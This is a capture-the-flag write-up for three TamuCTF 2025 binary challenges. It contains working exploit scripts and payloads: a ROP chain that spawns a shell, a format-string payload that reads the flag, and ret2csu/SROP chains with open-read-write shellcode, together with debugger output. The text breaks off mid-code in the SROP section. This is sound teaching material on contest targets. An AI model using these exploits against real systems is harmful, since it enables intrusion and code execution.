[WRITE UP] - TAMUctf 2025

index

Debug 1

Challenge Information

Description: I made a program which inverts the capitalization of letters! Surely there's nothing insecure with the program, right? Tags:

Buffer Overflow
ROP

Analysis

Let’s begin with using checksec to check mitigation:

1
[*] '/mnt/e/sec/CTFs/2025/TamuCTF/Debug1/debug-1'
2
    Arch:       amd64-64-little
3
    RELRO:      Full RELRO
4
    Stack:      No canary found
5
    NX:         NX enabled
6
    PIE:        No PIE (0x400000)
7
    Stripped:   No

As we can see, this is a amd64 ELF with no canary and PIE. The RELRO is full so we can’t overwrite the GOT. This challenge comes with source code, so let’s analyze it:

1
#include <stdio.h>
2
#include <unistd.h>
3
#include <stdlib.h>
4
#include <stdbool.h>
5

6
int upkeep() {
7
        // IGNORE THIS
8
        setvbuf(stdin, NULL, _IONBF, 0);
9
        setvbuf(stdout, NULL, _IONBF, 0);
10
        setvbuf(stderr, NULL, _IONBF, 0);
11
}
12

13
int modify(char input[]) {
14
        puts("Input a string (max length of 69 characters):\n");
15

16
        int x = read(0, input, 0x60);
17

18
        printf("String you entered: %s\n", input);
19

20
        for (int i = 0; i < x; ++i) {
21
                // Make uppercase letters into lowercase
22
                if (((int)input[i] >= 97) && ((int)input[i] <= 122)) {
23
                        input[i] = (char)((int)input[i]-32);
24
                }
25
                // Make lowercase letters into uppercase
26
                else if (((int)input[i] >= 65) && ((int)input[i] <= 90)) {
27
                        input[i] = (char)((int)input[i]+32);
28
                }
29

30
        }
31

32
        return 1;
33
}
34

35
int menu() {
36
        int sel;
37
        char input[69];
38

39
        while (true) {
40
                puts("Choose an option:");
41
                puts("1: Modify string");
42
                puts("2: Debug Mode");
43
                puts("3: Exit\n");
44

45
                scanf("%d", &sel);
46
                printf("You selected: %d\n", sel);
47

48
                if (sel==1) {
49
                        modify(input);
50
                        printf("Your string: %s\n", input);
51
                        return 1;
52
                }
53
                else if (sel==2) {
54
                        // Still working on this function, so I disabled it :)
55
                        //debug();
56
                        puts("Debug mode has been disabled!");
57
                        return 1;
58
                }
59
                else if (sel==3) {
60
                        return 1;
61
                }
62
                puts("Invalid input! Try again.");
63
        }
64
        return 1;
65
}
66

67
// TODO: finish making debug function
68
int debug() {
69
        int admin = 0;
70
        // TODO: Add admin check
71
        int sel;
72

73
        puts("WARNING: If you are reading this and are NOT an");
74
        puts("administrator, report this to IT immediately!\n");
75

76
        while (true) {
77
                puts("Admin options:");
78
                puts("1. Print info");
79
                puts("2. Feature 2 (Uhhhhh idk what to put here)"); // TODO:
80
                puts("3. Feature 3 (I hope your day is going well :) )"); // TODO:
81

82
                scanf("%d", &sel);
83
                printf("You selected: %d\n", sel);
84

85
                if (sel==1) {
86
                        printf("libc leak: %lx\n", system);
87

88
                        puts("Leave a message here (max: 80 characters)!");
89
                        char message[80];
90

91
                        read(0, message, 800);
92

93
                        puts("Thanks!");
94

95
                        return 1;
96
                }
97
                else if (sel==2) {
98
                        // TODO:
99
                        return 1;
100
                }
101
                else if (sel==3) {
102
                        // TODO:
103
                        return 1;
104
                }
105
                puts("Invalid input!");
106
        }
107
        return 1;
108
}
109

110
int main() {
111
        upkeep();
112

113
        puts("String Modifier v1.4.2");
114
        puts("Created by: FlamePyromancer"); // :)
115

116
        menu();
117

118
        printf("\nExiting...\n");
119
}

First when reading this source code, the first thing I looked at was the debug function, which helps us get the address of the system (a function in libc), and there is also a Buffer Overflow bug for us to exploit. But the problem here is how do we jump into that function? Because the options above do not have any option to call that function.

Analyzing further, we will see that the modify function in option 1 is passed into the input[69] variable, but inside the function it reads up to 0x60 bytes, so this function also has a Buffer Overflow bug.

Exploit Development

So our main idea will be to use the read function called in the modify function to control the saved RIP of the menu function (because the input[69] variable is in the menu function and is passed in, so when we enter input in the modify function, we will also affect the input variable in the menu function). Once we have called the debug function, all we need to do now is craft a ROP chain to call system("/bin/sh")

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from time import sleep
5

6
context.log_level = 'debug'
7
exe = context.binary = ELF('./debug-1_patched', checksec=False)
8
libc = exe.libc
9

10
def start(argv=[], *a, **kw):
11
    if args.GDB:
12
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
13
    elif args.REMOTE:
14
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
15
    elif args.DOCKER:
16
        p = remote("localhost", 1337)
17
        time.sleep(1)
18
        pid = process(["pgrep", "-fx", "/home/app/chall"]).recvall().strip().decode()
19
        gdb.attach(int(pid), gdbscript=gdbscript, exe=exe.path)
20
        pause()
21
        return p
22
    else:
23
        return process([exe.path] + argv, *a, **kw)
24

25
gdbscript = '''
26
# # b *0x401314
27
# # b *0x4011EC
28
# # b *0x4012C8
29
b *0x401464
30
b *0x4014AC
31
c
32
'''.format(**locals())
33

34
p = remote("tamuctf.com", 443, ssl=True, sni="tamuctf_debug-1")
35

36
# ==================== EXPLOIT ====================
37

38
def choice(option: int):
39
    sl(f'{option}'.encode())
40

41
def exploit():
42

43
    pop_rdi = 0x40154b
44
    ret = pop_rdi + 1
45

46

47
    choice(1)
48
    s(b'A' * 88 + p64(exe.sym.debug + 1))
49

50
    choice(1)
51
    ru(b'libc leak: ')
52
    system = hexleak(rl())
53
    libc.address = system - libc.sym.system
54
    slog('system', system)
55
    slog('libc base', libc.address)
56

57
    offset = 0x68
58
    payload = flat({
59

60
        offset: [
61

62
            pop_rdi,
63
            next(libc.search(b'/bin/sh\0')),
64
            ret,
65
            system
66

67
        ]
68

69
    })
70

71
    sleep(0.5)
72
    s(payload)
73

74
    interactive()
75

76
if __name__ == '__main__':
77
    exploit()

Get flag

1
└ ϟ ./xpl.py
2
[*] '/mnt/e/sec/CTFs/2025/TamuCTF/Debug1/libc.so.6'
3
    Arch:       amd64-64-little
4
    RELRO:      Partial RELRO
5
    Stack:      Canary found
6
    NX:         NX enabled
7
    PIE:        PIE enabled
8
[+] Opening connection to tamuctf.com on port 443: Done
9
[+] system: 0x7fdfd8abdaf0
10
[+] libc base: 0x7fdfd8a79000
11
[*] Switching to interactive mode
12
Leave a message here (max: 80 characters)!
13
Thanks!
14
$ cat flag*
15
gigem{d3bUg61ng_n3w_c0d3_a24dcfe3}

Sniper

Challenge Information

Description: I feel like there's an unlimited supply of format string challenges with this name. Tags:

Format String Bug

Analysis

This challenge also contain the source code in the archive file so let’s analysis it:

1
#include <string.h>
2
#include <stdio.h>
3
#include <stdlib.h>
4
#include <sys/mman.h>
5
#include <sys/fcntl.h>
6

7
void init() {
8
    setvbuf(stdin, NULL, _IONBF, 0);
9
    setvbuf(stdout, NULL, _IONBF, 0);
10
}
11

12
void load_flag() {
13
    int fd = open("flag.txt", O_RDONLY);
14
    mmap(0x000000000a0a0000, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
15
}
16

17
void vuln() {
18
    char buf[48];
19
    printf("%p\n", buf);
20
    fgets(buf, sizeof(buf), stdin);
21
    close(0);
22
    printf(buf);
23
    exit(0);
24
}
25

26
int main() {
27
    init();
28
    load_flag();
29
    vuln();
30
}

So we can see, there is a Format String Bug in vuln function. The load_flag function will load the flag to the memory created by mmap but this address is pretty special 0x000000000a0a0000. We know that fgets function will stop if it reach \x0a or newline. So if we try to but all of that address to the stack and use FSB read to read to flag, that impossible. But luckily, we have FSB write and stack leak here, we can use FSB write to write the last \x0a byte for the address and use FSB read to read it

Exploit

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from time import sleep
5
import struct
6

7
context.log_level = 'debug'
8
exe = context.binary = ELF('./sniper_patched', checksec=False)
9
libc = exe.libc
10

11
def start(argv=[], *a, **kw):
12
    if args.GDB:
13
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
14
    elif args.REMOTE:
15
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
16
    elif args.DOCKER:
17
        p = remote("localhost", 1337)
18
        time.sleep(1)
19
        pid = process(["pgrep", "-fx", "/home/app/chall"]).recvall().strip().decode()
20
        gdb.attach(int(pid), gdbscript=gdbscript, exe=exe.path)
21
        pause()
22
        return p
23
    else:
24
        return process([exe.path] + argv, *a, **kw)
25

26
gdbscript = '''
27

28
brva 0x1237
29
brva 0x12DD
30
c
31
'''.format(**locals())
32

33
p = remote("tamuctf.com", 443, ssl=True, sni="tamuctf_sniper")
34

35
# ==================== EXPLOIT ====================
36

37
def exploit():
38

39

40
    stack_leak = hexleak(rl())
41
    slog('Stack leak', stack_leak)
42

43
    flag_address_offet  = stack_leak - 0xA0A0000
44
    flag_address = stack_leak - flag_address_offet
45
    slog('Flag address', flag_address)
46

47
    # fgets stop at `\x0a` or `newline` so we need to use stack leak calculate
48
    # to the third byte of that address and write to it
49
    '''
50
    00:0000│ rdx rdi rsp 0x7fff89c65f80 ◂— 0x6325632563256325 ('%c%c%c%c')
51
    01:0008│-038         0x7fff89c65f88 ◂— 0x6325632563256325 ('%c%c%c%c')
52
    02:0010│-030         0x7fff89c65f90 ◂— 0x3131256e25633225 ('%2c%n%11')
53
    03:0018│-028         0x7fff89c65f98 ◂— 0x4141414141417324 ('$sAAAAAA')
54
    04:0020│-020         0x7fff89c65fa0 —▸ 0x7fff89c65fab ◂— 0x746540000055e100
55
    05:0028│-018         0x7fff89c65fa8 ◂— 0x55e1000a0000
56
    06:0030│-010         0x7fff89c65fb0 ◂— 0x3d0746540
57
    07:0038│-008         0x7fff89c65fb8 ◂— 0x149f6bffddec00
58
    pwndbg> x/x 0x7fff89c65fa8
59
    0x7fff89c65fa8: 0x000055e1000a0000
60
    pwndbg> x/x 0x7fff89c65fa8+0x1
61
    0x7fff89c65fa9: 0x40000055e1000a00
62
    pwndbg> x/x 0x7fff89c65fa8+0x2
63
    0x7fff89c65faa: 0x6540000055e1000a
64
    pwndbg> x/x 0x7fff89c65fa8+0x3
65
    0x7fff89c65fab: 0x746540000055e100
66
    '''
67
    payload = b'%c%c%c%c%c%c%c%c%2c%n%11$s'.ljust(32,b'A')
68
    payload += p64(stack_leak + 0x2b) + p64(0xA0A0000)
69

70
    sl(payload)
71

72
    interactive()
73

74
if __name__ == '__main__':
75
    exploit()

Get flag

1
└ ϟ ./xpl.py
2
[*] '/mnt/e/sec/CTFs/2025/TamuCTF/Sniper/sniper/libc.so.6'
3
    Arch:       amd64-64-little
4
    RELRO:      Partial RELRO
5
    Stack:      Canary found
6
    NX:         NX enabled
7
    PIE:        PIE enabled
8
[+] Opening connection to tamuctf.com on port 443: Done
9
[DEBUG] Received 0xf bytes:
10
    b'0x7ffdd5a42dc0\n'
11
[+] Stack leak: 0x7ffdd5a42dc0
12
[+] Flag address: 0xa0a0000
13
[DEBUG] Sent 0x31 bytes:
14
    00000000  25 63 25 63  25 63 25 63  25 63 25 63  25 63 25 63  │%c%c│%c%c│%c%c│%c%c│
15
    00000010  25 32 63 25  6e 25 31 31  24 73 41 41  41 41 41 41  │%2c%│n%11│$sAA│AAAA│
16
    00000020  eb 2d a4 d5  fd 7f 00 00  00 00 0a 0a  00 00 00 00  │·-··│····│····│····│
17
    00000030  0a                                                  │·│
18
    00000031
19
[*] Switching to interactive mode
20
[DEBUG] Received 0x87 bytes:
21
    00000000  d0 c0 04 c0  00 25 25 25  20 24 67 69  67 65 6d 7b  │····│·%%%│ $gi│gem{│
22
    00000010  79 6f 75 5f  6b 6e 6f 77  5f 77 68 61  74 5f 6d 61  │you_│know│_wha│t_ma│
23
    00000020  79 62 65 5f  69 5f 73 68  6f 75 6c 64  5f 6a 75 73  │ybe_│i_sh│ould│_jus│
24
    00000030  74 5f 6c 65  61 76 65 5f  6e 61 6d 69  6e 67 5f 75  │t_le│ave_│nami│ng_u│
25
    00000040  70 5f 74 6f  5f 72 6e 67  5f 76 69 61  5f 68 74 74  │p_to│_rng│_via│_htt│
26
    00000050  70 3a 2f 2f  74 65 72 6e  75 73 2e 67  69 74 68 75  │p://│tern│us.g│ithu│
27
    00000060  62 2e 69 6f  2f 6e 73 61  70 72 6f 64  75 63 74 67  │b.io│/nsa│prod│uctg│
28
    00000070  65 6e 65 72  61 74 6f 72  2f 7d 0a 41  41 41 41 41  │ener│ator│/}·A│AAAA│
29
    00000080  41 eb 2d a4  d5 fd 7f                               │A·-·│···│
30
    00000087
31
\xd0\xc0\x04\xc0\x00%%% $gigem{you_know_what_maybe_i_should_just_leave_naming_up_to_rng_via_http://ternus.github.io/nsaproductgenerator/}
32
AAAAAA\xeb-\xa4\xd5\xfd\x7f

Seven

This is my favorite challenge in this CTF because the author’s idea was very good to create such a challenge.

Challenge Information

Description: Seven-byte shellcode!? Tags:

Shellcode
ret2csu
SROP

Analysis

1
#include <string.h>
2
#include <stdio.h>
3
#include <stdlib.h>
4
#include <sys/mman.h>
5
#include <seccomp.h>
6

7
void init() {
8
    setvbuf(stdin, NULL, _IONBF, 0);
9
    setvbuf(stdout, NULL, _IONBF, 0);
10
}
11

12
void no_one_gadget_for_you() {
13
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);
14
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
15
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
16
    seccomp_load(ctx);
17
}
18

19
#define RWX 0x500000
20

21
int main() {
22
    init();
23
    no_one_gadget_for_you();
24
    char* code = mmap(RWX, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED_NOREPLACE, -1, 0);
25
    if (code != MAP_FAILED) {
26
        read(0, RWX, 7);
27
        mprotect(RWX, 0x1000, PROT_READ | PROT_EXEC);
28
        ((void (*)())RWX)();
29
    }
30
}

The code is pretty simple, it’s just allow us to read only 7 bytes shellcode and execute it. And when we look at no_one_gadget_for_you we know that this seccomp rules doesn’t allow execve and execvat

Exploit Development

To solve this challenge, we need to use multi-stage shellcode. The first shellcode acts as a springboard, enabling us to execute the subsequent shellcodes. Its main purpose is to overcome the size limitation. So after thinking for a long time + debug I see when it about to call our shellcode, the registers at that point would look like this

1
 RAX  0
2
 RBX  0
3
 RCX  0x7ffff7ed0da7 (mprotect+7) ◂— cmp rax, -0xfff
4
 RDX  0x500000 ◂— push 0x6f6c6c65 /* 'hello\n' */
5
 RDI  0x500000 ◂— push 0x6f6c6c65 /* 'hello\n' */
6
 RSI  0x1000
7
 R8   0xffffffff
8
 R9   0
9
 R10  0x100022
10
 R11  0x207
11
 R12  0x401150 (_start) ◂— xor ebp, ebp
12
 R13  0x7fffffffdce0 ◂— 1
13
 R14  0
14
 R15  0
15
 RBP  0x401310 (__libc_csu_init) ◂— push r15
16
*RSP  0x7fffffffdbe8 —▸ 0x401128 (main+120) ◂— xor eax, eax
17
*RIP  0x500000 ◂— push 0x6f6c6c65 /* 'hello\n' */

We see that the registers we need like RAX, RDI, RSI, RDX are all set up perfectly (for RDI we can use push rsp; pop rdi). Now our read shellcode will read data right into RSP and to continue executing the next payloads at the end of the shellcode we just need to add ret

1
    shellcode = asm('''
2

3
        push rsp
4
        pop rsi
5

6
        xor edi, edi
7
        syscall
8

9
        ret
10

11
    ''')
12
    s(shellcode)

Next, we will think about what we should read into it so that it can execute later (our goal will still be to execute the ORW shellcode). At this point, the idea that popped into my head was to craft a ROP chain to do that. But after checking some gadgets avaiable in the binary

1
[INFO] Load gadgets from cache
2
[LOAD] loading... 100%
3
[LOAD] removing double gadgets... 100%
4

5

6

7
Gadgets
8
=======
9

10

11
0x0000000000401112: adc byte ptr [rax], al; add byte ptr [rdi + 0x500000], bh; call 0x20a0; xor eax, eax; mov edx, 0x500000; call rdx;
12
0x0000000000401171: adc byte ptr [rax], al; call qword ptr [rip + 0x2e76]; hlt; nop dword ptr [rax + rax]; ret;
13
0x00000000004011de: adc dword ptr [rax], edi; test rax, rax; je 0x21f0; mov edi, 0x404010; jmp rax;
14
0x0000000000401175: adc eax, 0x2e76; hlt; nop dword ptr [rax + rax]; ret;
15
0x000000000040116a: adc eax, dword ptr [rax]; mov rdi, 0x4010b0; call qword ptr [rip + 0x2e76]; hlt; nop dword ptr [rax + rax]; ret;
16
0x000000000040119c: adc edi, dword ptr [rax]; test rax, rax; je 0x21b0; mov edi, 0x404010; jmp rax;
17
0x0000000000401179: add ah, dh; nop dword ptr [rax + rax]; ret;
18
0x0000000000401119: add al, ch; cmp edi, 0xc031ffff; mov edx, 0x500000; call rdx;
19
0x0000000000401173: add bh, bh; adc eax, 0x2e76; hlt; nop dword ptr [rax + rax]; ret;
20
0x000000000040100a: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;
21
0x000000000040119e: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x21b0; mov edi, 0x404010; jmp rax;
22
0x00000000004011e0: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x21f0; mov edi, 0x404010; jmp rax;
23
0x0000000000401135: add byte ptr [rax], al; add byte ptr [rbp + 5], dh; add rsp, 0x18; ret;
24
0x0000000000401136: add byte ptr [rax], al; jne 0x213f; add rsp, 0x18; ret;
25
0x0000000000401113: add byte ptr [rax], al; mov edi, 0x500000; call 0x20a0; xor eax, eax; mov edx, 0x500000; call rdx;
26
0x0000000000401116: add byte ptr [rax], al; push rax; add al, ch; cmp edi, 0xc031ffff; mov edx, 0x500000; call rdx;
27
0x0000000000401372: add byte ptr [rax], al; sub rsp, 8; add rsp, 8; ret;
28
0x0000000000401009: add byte ptr [rax], al; test rax, rax; je 0x2012; call rax;
29
0x0000000000401009: add byte ptr [rax], al; test rax, rax; je 0x2012; call rax; add rsp, 8; ret;
30
0x00000000004011a0: add byte ptr [rax], al; test rax, rax; je 0x21b0; mov edi, 0x404010; jmp rax;
31
0x00000000004011e2: add byte ptr [rax], al; test rax, rax; je 0x21f0; mov edi, 0x404010; jmp rax;
32
0x0000000000401178: add byte ptr [rax], al; hlt; nop dword ptr [rax + rax]; ret;
33
0x000000000040117e: add byte ptr [rax], al; ret;
34
0x0000000000401117: add byte ptr [rax], dl; call 0x20a0; xor eax, eax; mov edx, 0x500000; call rdx;
35
0x0000000000401123: add byte ptr [rax], dl; call rdx;
36
0x000000000040117d: add byte ptr [rax], r8b; ret;
37
0x0000000000401137: add byte ptr [rbp + 5], dh; add rsp, 0x18; ret;
38
0x0000000000401217: add byte ptr [rcx], al; pop rbp; ret;
39
0x0000000000401114: add byte ptr [rdi + 0x500000], bh; call 0x20a0; xor eax, eax; mov edx, 0x500000; call rdx;
40
0x0000000000401177: add byte ptr cs:[rax], al; hlt; nop dword ptr [rax + rax]; ret;
41
0x0000000000401172: add dil, dil; adc eax, 0x2e76; hlt; nop dword ptr [rax + rax]; ret;
42
0x0000000000401139: add eax, 0x18c48348; ret;
43
0x0000000000401006: add eax, 0x2fed; test rax, rax; je 0x2012; call rax;
44
0x0000000000401006: add eax, 0x2fed; test rax, rax; je 0x2012; call rax; add rsp, 8; ret;
45
0x000000000040113b: add esp, 0x18; ret;
46
0x0000000000401013: add esp, 8; ret;
47
0x000000000040113a: add rsp, 0x18; ret;
48
0x0000000000401012: add rsp, 8; ret;
49
0x0000000000401133: and eax, 0x28; jne 0x213f; add rsp, 0x18; ret;
50
0x000000000040111a: call 0x20a0; xor eax, eax; mov edx, 0x500000; call rdx;
51
0x000000000040120d: call 0x2190; mov byte ptr [rip + 0x2e0f], 1; pop rbp; ret;
52
0x0000000000401174: call qword ptr [rip + 0x2e76]; hlt; nop dword ptr [rax + rax]; ret;
53
0x0000000000401010: call rax;
54
0x0000000000401010: call rax; add rsp, 8; ret;
55
0x0000000000401126: call rdx;
56
0x000000000040111b: cmp edi, 0xc031ffff; mov edx, 0x500000; call rdx;
57
0x0000000000401354: fmul qword ptr [rax - 0x7d]; ret;
58
0x0000000000401336: in al, dx; or al, ch; ret;
59
0x0000000000401002: in al, dx; or byte ptr [rax - 0x75], cl; add eax, 0x2fed; test rax, rax; je 0x2012; call rax;
60
0x0000000000401176: jbe 0x21a6; add byte ptr [rax], al; hlt; nop dword ptr [rax + rax]; ret;
61
0x000000000040100e: je 0x2012; call rax;
62
0x000000000040100e: je 0x2012; call rax; add rsp, 8; ret;
63
0x000000000040119b: je 0x21b0; mov eax, 0; test rax, rax; je 0x21b0; mov edi, 0x404010; jmp rax;
64
0x00000000004011a5: je 0x21b0; mov edi, 0x404010; jmp rax;
65
0x00000000004011dd: je 0x21f0; mov eax, 0; test rax, rax; je 0x21f0; mov edi, 0x404010; jmp rax;
66
0x00000000004011e7: je 0x21f0; mov edi, 0x404010; jmp rax;
67
0x0000000000401143: jmp qword ptr [rsi + 0x2e];
68
0x0000000000401296: jmp qword ptr [rsi + 0xf];
69
0x00000000004011ac: jmp rax;
70
0x0000000000401138: jne 0x213f; add rsp, 0x18; ret;
71
0x0000000000401170: mov al, 0x10; add dil, dil; adc eax, 0x2e76; hlt; nop dword ptr [rax + rax]; ret;
72
0x0000000000401212: mov byte ptr [rip + 0x2e0f], 1; pop rbp; ret;
73
0x000000000040119d: mov eax, 0; test rax, rax; je 0x21b0; mov edi, 0x404010; jmp rax;
74
0x00000000004011df: mov eax, 0; test rax, rax; je 0x21f0; mov edi, 0x404010; jmp rax;
75
0x0000000000401005: mov eax, dword ptr [rip + 0x2fed]; test rax, rax; je 0x2012; call rax;
76
0x0000000000401005: mov eax, dword ptr [rip + 0x2fed]; test rax, rax; je 0x2012; call rax; add rsp, 8; ret;
77
0x000000000040120b: mov ebp, esp; call 0x2190; mov byte ptr [rip + 0x2e0f], 1; pop rbp; ret;
78
0x0000000000401167: mov ecx, 0x401310; mov rdi, 0x4010b0; call qword ptr [rip + 0x2e76]; hlt; nop dword ptr [rax + rax]; ret;
79
0x000000000040116e: mov edi, 0x4010b0; call qword ptr [rip + 0x2e76]; hlt; nop dword ptr [rax + rax]; ret;
80
0x00000000004011a7: mov edi, 0x404010; jmp rax;
81
0x0000000000401115: mov edi, 0x500000; call 0x20a0; xor eax, eax; mov edx, 0x500000; call rdx;
82
0x0000000000401121: mov edx, 0x500000; call rdx;
83
0x0000000000401004: mov rax, qword ptr [rip + 0x2fed]; test rax, rax; je 0x2012; call rax;
84
0x0000000000401004: mov rax, qword ptr [rip + 0x2fed]; test rax, rax; je 0x2012; call rax; add rsp, 8; ret;
85
0x000000000040120a: mov rbp, rsp; call 0x2190; mov byte ptr [rip + 0x2e0f], 1; pop rbp; ret;
86
0x0000000000401166: mov rcx, 0x401310; mov rdi, 0x4010b0; call qword ptr [rip + 0x2e76]; hlt; nop dword ptr [rax + rax]; ret;
87
0x000000000040116d: mov rdi, 0x4010b0; call qword ptr [rip + 0x2e76]; hlt; nop dword ptr [rax + rax]; ret;
88
0x000000000040117b: nop dword ptr [rax + rax]; ret;
89
0x000000000040136d: nop dword ptr [rax]; ret;
90
0x0000000000401132: or al, 0x25; sub byte ptr [rax], al; add byte ptr [rax], al; jne 0x213f; add rsp, 0x18; ret;
91
0x0000000000401337: or al, ch; ret;
92
0x0000000000401003: or byte ptr [rax - 0x75], cl; add eax, 0x2fed; test rax, rax; je 0x2012; call rax;
93
0x00000000004011a6: or dword ptr [rdi + 0x404010], edi; jmp rax;
94
0x0000000000401364: pop r12; pop r13; pop r14; pop r15; ret;
95
0x0000000000401366: pop r13; pop r14; pop r15; ret;
96
0x0000000000401368: pop r14; pop r15; ret;
97
0x000000000040136a: pop r15; ret;
98
0x0000000000401363: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
99
0x0000000000401367: pop rbp; pop r14; pop r15; ret;
100
0x0000000000401219: pop rbp; ret;
101
0x000000000040136b: pop rdi; ret;
102
0x0000000000401369: pop rsi; pop r15; ret;
103
0x0000000000401365: pop rsp; pop r13; pop r14; pop r15; ret;
104
0x0000000000401118: push rax; add al, ch; cmp edi, 0xc031ffff; mov edx, 0x500000; call rdx;
105
0x0000000000401209: push rbp; mov rbp, rsp; call 0x2190; mov byte ptr [rip + 0x2e0f], 1; pop rbp; ret;
106
0x000000000040100d: sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret;
107
0x0000000000401134: sub byte ptr [rax], al; add byte ptr [rax], al; jne 0x213f; add rsp, 0x18; ret;
108
0x0000000000401375: sub esp, 8; add rsp, 8; ret;
109
0x0000000000401001: sub esp, 8; mov rax, qword ptr [rip + 0x2fed]; test rax, rax; je 0x2012; call rax;
110
0x0000000000401374: sub rsp, 8; add rsp, 8; ret;
111
0x0000000000401000: sub rsp, 8; mov rax, qword ptr [rip + 0x2fed]; test rax, rax; je 0x2012; call rax;
112
0x000000000040100c: test eax, eax; je 0x2012; call rax;
113
0x000000000040100c: test eax, eax; je 0x2012; call rax; add rsp, 8; ret;
114
0x00000000004011a3: test eax, eax; je 0x21b0; mov edi, 0x404010; jmp rax;
115
0x00000000004011e5: test eax, eax; je 0x21f0; mov edi, 0x404010; jmp rax;
116
0x000000000040100b: test rax, rax; je 0x2012; call rax;
117
0x000000000040100b: test rax, rax; je 0x2012; call rax; add rsp, 8; ret;
118
0x00000000004011a2: test rax, rax; je 0x21b0; mov edi, 0x404010; jmp rax;
119
0x00000000004011e4: test rax, rax; je 0x21f0; mov edi, 0x404010; jmp rax;
120
0x0000000000401214: ucomiss xmm0, dword ptr [rax]; add byte ptr [rcx], al; pop rbp; ret;
121
0x000000000040111f: xor eax, eax; mov edx, 0x500000; call rdx;
122
0x0000000000401131: xor ecx, dword ptr [0x28]; jne 0x213f; add rsp, 0x18; ret;
123
0x0000000000401130: xor rcx, qword ptr [0x28]; jne 0x213f; add rsp, 0x18; ret;
124
0x000000000040112f: xor rcx, qword ptr fs:[0x28]; jne 0x213f; add rsp, 0x18; ret;
125
0x000000000040117a: hlt; nop dword ptr [rax + rax]; ret;
126
0x00000000004011af: nop; ret;
127
0x0000000000401016: ret;
128

129
117 gadgets found

There’s no pop rax or syscall gadget for us to craft a ORW ROP chain. But luckily, when we patched this binary we will see the appearance of __libc_csu_init which gives us a lot of free gadgets to use. So I thought of using the ret2csu technique to solve this problem. In __libc_csu_init I will use these gadgets:

1
0x0000000000401348 <+56>:    mov    rdx,r15
2
0x000000000040134b <+59>:    mov    rsi,r14
3
0x000000000040134e <+62>:    mov    edi,r13d
4
0x0000000000401351 <+65>:    call   QWORD PTR [r12+rbx*8]
5

6
0x0000000000401362 <+82>:    pop    rbx
7
0x0000000000401363 <+83>:    pop    rbp
8
0x0000000000401364 <+84>:    pop    r12
9
0x0000000000401366 <+86>:    pop    r13
10
0x0000000000401368 <+88>:    pop    r14
11
0x000000000040136a <+90>:    pop    r15
12
0x000000000040136c <+92>:    ret

With these gadgets, I can call mprotect to grant rwx permissions to a partition that I will use to read my second shellcode into. In this ROP chain I will first call mprotect and then call 2 reads (the first read will be used to make a pointer to the shellcode, and the second read will be used to read the ORW shellcode)

1
def csu():
2

3
    shellcode = asm('''
4

5
        push rsp
6
        pop rsi
7

8
        xor edi, edi
9
        syscall
10

11
        ret
12

13
    ''')
14

15
    s(shellcode)
16

17
    '''
18
       0x0000000000401348 <+56>:    mov    rdx,r15
19
       0x000000000040134b <+59>:    mov    rsi,r14
20
       0x000000000040134e <+62>:    mov    edi,r13d
21
       0x0000000000401351 <+65>:    call   QWORD PTR [r12+rbx*8]
22

23
       0x0000000000401362 <+82>:    pop    rbx
24
       0x0000000000401363 <+83>:    pop    rbp
25
       0x0000000000401364 <+84>:    pop    r12
26
       0x0000000000401366 <+86>:    pop    r13
27
       0x0000000000401368 <+88>:    pop    r14
28
       0x000000000040136a <+90>:    pop    r15
29
       0x000000000040136c <+92>:    ret
30
    '''
31

32
    # r15 -> rdx
33
    # r14 -> rsi
34
    # r13 -> edi
35

36
    pop_6_regs = exe.sym.__libc_csu_init+82
37
    call_r12_rbx = exe.sym.__libc_csu_init+56
38

39
    rop = flat(
40
        pop_6_regs,
41
        0,                          # rbx
42
        1,                          # rbp
43
        exe.got.mprotect,           # r12
44
        0x404000,                   # r13
45
        0x1000,                     # r14
46
        7,                          # r15
47
        call_r12_rbx,
48
        0,
49

50
        0,
51
        1,
52
        exe.got.read,
53
        0,
54
        0x404000,
55
        0x100,
56
        call_r12_rbx,
57
        0,
58

59
        0,
60
        1,
61
        exe.got.read,
62
        0,
63
        0x404000+0x50,
64
        0x100,
65
        call_r12_rbx,
66
        0,
67

68
        0,
69
        0,
70
        0x404000,
71
        0,
72
        0,
73
        0,
74
        call_r12_rbx,
75
    )
76

77
    sleep(0.5)
78
    s(rop)
79

80
    sleep(0.5)
81
    s(p64(0x404000+0x50)) # read to 0x404000
82
    shellcode = asm(shellcraft.open('./flag.txt'))
83
    shellcode += asm(shellcraft.read(6, 'rsp', 100))
84
    shellcode += asm(shellcraft.write(1, 'rsp', 100))
85

86
    sleep(0.5)
87
    s(shellcode)

Bonus

After this solution I read some solutions from other participants (you can visit this guy write-up). I realized that we can use SROP, because when the read function finishes reading our string the value it returns will be the number of bytes it read. Still the same but here we will use SROP to call mprotect with syscall; ret taken from our first shellcode (since the address is fixed we can take it freely). Then deploy a shellcode with 0xf bytes to setup RAX. Finally read the ORW shellcode in and execute it

1
def srop():
2

3
    shellcode = asm('''
4

5
        push rsp
6
        pop rsi
7

8
        xor edi, edi
9
        syscall
10

11
        ret
12

13
    ''')
14
    s(shellcode)
15

16
    syscall_ret = 0x500004
17
    pop_rdi = 0x40136b
18
    pop_rsi_r15 = 0x401369
19
    bss = 0x404000
20

21
    # call mprotect(bss, 0x1000, 7)
22
    frame = SigreturnFrame()
23
    frame.rdi = bss
24
    frame.rsi = 0x1000
25
    frame.rdx = 7
26
    frame.rax = 0xa
27
    frame.rip = syscall_ret
28
    frame.rsp = 0x400598                    # need to find a pointer to our second shellcode (use "p2p seven_patched")
29

30
